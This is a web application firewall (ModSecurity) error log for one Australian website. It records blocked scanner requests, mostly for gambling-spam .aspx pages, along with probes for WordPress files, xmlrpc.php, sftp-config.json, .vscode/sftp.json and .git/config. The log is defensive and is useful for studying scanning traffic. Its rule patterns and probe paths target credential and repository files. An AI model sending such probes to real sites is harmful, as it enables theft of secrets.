[Thu Feb 12 21:28:52.183508 2026] [:error] [pid 46718:tid 46724] [client 147.135.252.177:37244] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aY3VlEdfX45LelQwruQitwAAAcM"]
[Thu Feb 12 21:28:54.652633 2026] [:error] [pid 46718:tid 46731] [client 147.135.252.177:42418] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aY3VlkdfX45LelQwruQiwgAAAco"]
[Thu Feb 12 21:28:57.142384 2026] [:error] [pid 63511:tid 63526] [client 147.135.252.177:42430] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aY3VmaQCQbD5BgeyIk0qcwAAAA0"]
[Thu Feb 12 21:28:59.664028 2026] [:error] [pid 63418:tid 63483] [client 147.135.252.177:42434] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aY3Vm9zjh-bbJnStPZLyJQAAAIc"]
[Thu Feb 12 21:29:02.179834 2026] [:error] [pid 46718:tid 46735] [client 147.135.252.177:42440] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aY3VnkdfX45LelQwruQiyAAAAc4"]
[Thu Feb 12 21:29:04.713895 2026] [:error] [pid 63418:tid 63494] [client 147.135.252.177:53950] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aY3VoNzjh-bbJnStPZLyLQAAAJI"]
[Thu Feb 12 21:29:07.224514 2026] [:error] [pid 65064:tid 65074] [client 147.135.252.177:53960] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aY3VoxOvRgscTcqsMBkGdgAAAMc"]
[Thu Feb 12 21:29:09.558211 2026] [:error] [pid 63418:tid 63478] [client 147.135.252.177:53974] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aY3Vpdzjh-bbJnStPZLyNgAAAII"]
[Thu Feb 12 21:29:12.060398 2026] [:error] [pid 46603:tid 46610] [client 147.135.252.177:53976] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aY3VqPEi6O39v05JNJeAJAAAAQU"]
[Thu Feb 12 21:29:14.585516 2026] [:error] [pid 63511:tid 63522] [client 147.135.252.177:53438] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aY3VqqQCQbD5BgeyIk0qgwAAAAk"]
[Thu Feb 12 21:29:16.921129 2026] [:error] [pid 46718:tid 46721] [client 147.135.252.177:53446] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aY3VrEdfX45LelQwruQi2wAAAcA"]
[Thu Feb 12 21:29:19.428053 2026] [:error] [pid 46718:tid 46738] [client 147.135.252.177:53452] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aY3Vr0dfX45LelQwruQi3QAAAdE"]
[Thu Feb 12 21:29:21.934717 2026] [:error] [pid 65064:tid 65078] [client 147.135.252.177:53464] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aY3VsROvRgscTcqsMBkGhgAAAMs"]
[Thu Feb 12 21:29:24.276198 2026] [:error] [pid 46718:tid 46742] [client 147.135.252.177:37096] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY3VtEdfX45LelQwruQi4QAAAdU"]
[Thu Feb 12 21:29:26.741567 2026] [:error] [pid 63511:tid 63525] [client 147.135.252.177:37106] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY3VtqQCQbD5BgeyIk0qlgAAAAw"]
[Thu Feb 12 21:29:29.063232 2026] [:error] [pid 46675:tid 46700] [client 147.135.252.177:37118] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aY3VuTuaQILPonWFiQlxrQAAAVY"]
[Thu Feb 12 21:29:31.569518 2026] [:error] [pid 65064:tid 65090] [client 147.135.252.177:37134] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aY3VuxOvRgscTcqsMBkGjQAAANc"]
[Thu Feb 12 21:29:33.903182 2026] [:error] [pid 65064:tid 65067] [client 147.135.252.177:60926] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aY3VvROvRgscTcqsMBkGjwAAAMA"]
[Thu Feb 12 21:29:36.399941 2026] [:error] [pid 63416:tid 63430] [client 147.135.252.177:60928] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aY3VwL2wmecPaCHcM2_SFgAAAYk"]
[Thu Feb 12 21:29:38.742278 2026] [:error] [pid 63416:tid 63428] [client 147.135.252.177:60934] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aY3Vwr2wmecPaCHcM2_SGQAAAYc"]
[Thu Feb 12 21:29:41.044277 2026] [:error] [pid 46603:tid 46625] [client 147.135.252.177:60950] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aY3VxfEi6O39v05JNJeASgAAARQ"]
[Thu Feb 12 21:29:43.374890 2026] [:error] [pid 63418:tid 63491] [client 147.135.252.177:60962] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aY3Vx9zjh-bbJnStPZLyRwAAAI8"]
[Thu Feb 12 21:29:45.703219 2026] [:error] [pid 46675:tid 46696] [client 147.135.252.177:43794] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aY3VyTuaQILPonWFiQlxsQAAAVI"]
[Thu Feb 12 21:29:48.182170 2026] [:error] [pid 63416:tid 63436] [client 147.135.252.177:43802] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aY3VzL2wmecPaCHcM2_SJQAAAY8"]
[Thu Feb 12 21:30:09.282106 2026] [:error] [pid 46718:tid 46735] [client 147.135.252.177:43816] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aY3V4UdfX45LelQwruQjJQAAAc4"]
[Thu Feb 12 21:30:11.718942 2026] [:error] [pid 46675:tid 46686] [client 147.135.252.177:58328] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aY3V4zuaQILPonWFiQlx4QAAAUg"]
[Thu Feb 12 21:30:14.208251 2026] [:error] [pid 46718:tid 46728] [client 147.135.252.177:40862] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY3V5kdfX45LelQwruQjLAAAAcc"]
[Thu Feb 12 21:30:16.532600 2026] [:error] [pid 63511:tid 63537] [client 147.135.252.177:40868] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aY3V6KQCQbD5BgeyIk0qxgAAABg"]
[Thu Feb 12 21:30:18.833185 2026] [:error] [pid 63416:tid 63442] [client 147.135.252.177:40876] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aY3V6r2wmecPaCHcM2_SQwAAAZU"]
[Thu Feb 12 21:30:21.296460 2026] [:error] [pid 46675:tid 46681] [client 147.135.252.177:40890] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aY3V7TuaQILPonWFiQlx8gAAAUM"]
[Thu Feb 12 21:30:23.750908 2026] [:error] [pid 63417:tid 63454] [client 147.135.252.177:58582] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aY3V7_8gSb97qRMtXCL3kgAAAEU"]
[Thu Feb 12 21:30:26.082564 2026] [:error] [pid 63511:tid 63518] [client 147.135.252.177:58588] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aY3V8qQCQbD5BgeyIk0q0AAAAAU"]
[Thu Feb 12 21:30:28.550236 2026] [:error] [pid 46675:tid 46686] [client 147.135.252.177:58598] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aY3V9DuaQILPonWFiQlx_AAAAUg"]
[Thu Feb 12 21:30:31.026202 2026] [:error] [pid 63418:tid 63491] [client 147.135.252.177:58610] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aY3V99zjh-bbJnStPZLycgAAAI8"]
[Thu Feb 12 21:30:33.501684 2026] [:error] [pid 63416:tid 63439] [client 147.135.252.177:58624] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aY3V-b2wmecPaCHcM2_SSAAAAZI"]
[Thu Feb 12 21:30:35.992715 2026] [:error] [pid 63418:tid 63492] [client 147.135.252.177:35748] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY3V-9zjh-bbJnStPZLydAAAAJA"]
[Thu Feb 12 21:30:38.447255 2026] [:error] [pid 63511:tid 63521] [client 147.135.252.177:35760] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aY3V_qQCQbD5BgeyIk0q2wAAAAg"]
[Thu Feb 12 21:30:40.922251 2026] [:error] [pid 46603:tid 46611] [client 147.135.252.177:35774] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aY3WAPEi6O39v05JNJeAbwAAAQY"]
[Thu Feb 12 21:30:43.405291 2026] [:error] [pid 63416:tid 63425] [client 147.135.252.177:35782] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aY3WA72wmecPaCHcM2_STgAAAYQ"]
[Thu Feb 12 21:30:45.866012 2026] [:error] [pid 63416:tid 63433] [client 147.135.252.177:36028] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aY3WBb2wmecPaCHcM2_SUwAAAYw"]
[Thu Feb 12 21:30:48.322333 2026] [:error] [pid 46675:tid 46699] [client 147.135.252.177:36042] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aY3WCDuaQILPonWFiQlyCgAAAVU"]
[Thu Feb 12 21:30:50.653332 2026] [:error] [pid 46675:tid 46685] [client 147.135.252.177:36056] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aY3WCjuaQILPonWFiQlyDwAAAUc"]
[Thu Feb 12 22:22:34.262647 2026] [:error] [pid 46718:tid 46737] [client 34.60.185.0:59784] [client 34.60.185.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.185.0, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY3iKkdfX45LelQwruQ4hAAAAdA"]
[Thu Feb 12 22:22:36.675792 2026] [:error] [pid 46718:tid 46728] [client 34.60.185.0:59784] [client 34.60.185.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aY3iLEdfX45LelQwruQ4kwAAAcc"]
[Thu Feb 12 22:22:37.444656 2026] [:error] [pid 63511:tid 63529] [client 34.60.185.0:64859] [client 34.60.185.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aY3iLaQCQbD5BgeyIk03mQAAABA"]
[Thu Feb 12 22:22:38.215018 2026] [:error] [pid 63511:tid 63525] [client 34.60.185.0:51422] [client 34.60.185.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aY3iLqQCQbD5BgeyIk03nQAAAAw"]
[Thu Feb 12 22:22:38.982847 2026] [:error] [pid 63416:tid 63433] [client 34.60.185.0:63750] [client 34.60.185.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aY3iLr2wmecPaCHcM2_d0QAAAYw"]
[Thu Feb 12 22:22:39.770786 2026] [:error] [pid 46675:tid 46699] [client 34.60.185.0:63507] [client 34.60.185.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aY3iLzuaQILPonWFiQmCFwAAAVU"]
[Thu Feb 12 22:22:40.539370 2026] [:error] [pid 63417:tid 63453] [client 34.60.185.0:50870] [client 34.60.185.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aY3iMP8gSb97qRMtXCIEeQAAAEQ"]
[Thu Feb 12 22:48:26.620468 2026] [:error] [pid 65064:tid 65078] [client 103.77.107.222:65379] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aY3oOhOvRgscTcqsMBkcUgAAAMs"]
[Thu Feb 12 22:48:26.837559 2026] [:error] [pid 63418:tid 63492] [client 103.77.107.222:65399] [client 103.77.107.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aY3oOtzjh-bbJnStPZIF-wAAAJA"]
[Thu Feb 12 23:08:15.893387 2026] [:error] [pid 46718:tid 46739] [client 104.236.54.122:43364] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY3s30dfX45LelQwruRMKQAAAdI"]
[Thu Feb 12 23:08:18.088413 2026] [:error] [pid 46675:tid 46684] [client 104.236.54.122:47294] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY3s4juaQILPonWFiQmRwwAAAUY"]
[Fri Feb 13 00:22:20.806938 2026] [:error] [pid 37856:tid 37881] [client 43.130.150.80:43102] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY3-PJUcWP4qWM7hWsnobQAAANY"]
